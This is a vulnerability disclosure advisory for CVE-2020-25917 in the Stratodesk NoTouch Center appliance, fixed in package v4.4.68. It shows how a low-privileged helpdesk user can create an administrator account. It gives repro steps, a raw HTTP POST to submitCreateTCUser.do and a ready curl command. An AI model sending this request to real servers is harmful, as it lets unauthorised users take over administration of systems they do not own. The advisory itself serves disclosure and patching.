Stratodesk NoTouch Center Privilege Escalation

`Stratodesk NoTouch Center Virtual Appliance is a portal for managing NoTouch clients. It appears that Stratodesk has a partnership with ViewSonic and produced these appliances to support some of their hardware devices as well.  
  
- https://www.stratodesk.com/products/notouch-desktop/virtual-appliance/  
- https://www.viewsonic.com/eu/products/desktop-virtualization/SC-T25.php  
  
=Authenticated privilege escalation from low privileged user to admin=  
  
The user management security strategy seems to be just hiding the options in the Web UI from unprivileged users, but they can still call admin-related functions manually. Many different admin requests are available to be called by non-admin users with the root cause being the same. The add user functionality is just the biggest impact demonstration of this issue.  
  
A low privileged user on the platform, for example a user with “helpdesk” privileges (which is level 4 in their system of 1-4 privilege levels with 1=admin), can perform privileged operations including adding a new administrator to the platform.  
  
Repro  
  
1) Create a low privileged user  
2) Login as such user and capture this user’s JSESSIONID in the Cookie header  
3) Insert your ID in the below request where the JESSIONID data is  
4) Login as admin2 and see that you now have admin privileges  
  
POST /easyadmin/user/submitCreateTCUser.do HTTP/1.1  
Host: stratodesk-server  
Content-Type: application/x-www-form-urlencoded  
Content-Length: XX  
Cookie: JSESSIONID=[XXXXXXXX...]  
  
func=save&userid=0&name=admin2&fullname=admin2&password=Secret2&seclevel=1  
  
"As cURL command"  
  
curl -i -s -k -X $'POST' \  
-H $'Host: stratodesk-server' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: XX' -H $'Cookie: JSESSIONID=XXXXXXXX...' \  
-b $'JSESSIONID=XXXXXXXX...' \  
--data-binary $'func=save&userid=0&name=admin2&fullname=admin22&password=Secret222&seclevel=1' \  
$'https://stratodesk-server/easyadmin/user/submitCreateTCUser.do'  
  
Remediation  
  
Fixed in NoTouch package v4.4.68 (unclear which if any OVA releases contain the updated packages)  
  
CVE-2020-25917  
  
Discovered and disclosed by Jeremy Brown / December 2020  
`